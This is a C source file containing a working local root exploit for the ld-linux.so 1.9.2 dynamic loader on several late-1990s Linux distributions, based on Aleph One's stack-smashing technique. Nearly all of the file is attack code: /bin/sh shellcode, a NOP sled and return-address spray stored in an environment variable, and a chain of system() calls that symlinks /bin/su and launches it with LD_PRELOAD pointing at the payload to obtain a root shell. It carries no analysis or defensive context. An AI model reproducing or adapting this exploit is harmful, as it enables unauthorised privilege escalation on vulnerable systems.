/*
 * buffer overflow exploit for ld-linux.so.1.9.2
 * by Dan McGuirk <mcguirk@indirect.com>
 * based on Aleph One's "smashing the stack" code
 *
 * Affected: S.u.S.E Linux: 5.0
 *           Caldera OpenLinux: 1.1
 *           RedHat Linux: 4.0, 4.1 and 4.2
 *           Debian GNU/Linux: 1.1
 */

#include <stdlib.h>

#define DEFAULT_OFFSET                 3300
#define DEFAULT_BUFFER_SIZE            1013
#define NOP                            0x90

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff_bin_sh";

unsigned long get_sp(void)
{
  __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[])
{
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);

  if (!(buff = malloc(bsize)))
    {
      printf("Can't allocate memory.\n");
      exit(0);
    }

  printf("sp is 0x%x\n", get_sp());
  addr = get_sp() - offset;  /* a valid addr is addr = 0xbfffeba8; here */
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  for (i = 0; i < bsize/2; i++)
    buff[i] = NOP;

  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';

  memcpy(buff, "EGG=", 4);
  putenv(buff);
  system("ln -sf /bin/sh _bin_sh");
  system("ln -sf /bin/su aa");
  system("/bin/sh -c 'export LD_PRELOAD=$EGG; export PATH=$PATH:.; aa'");
  system("rm -f _bin_sh");
  system("rm -f aa");
}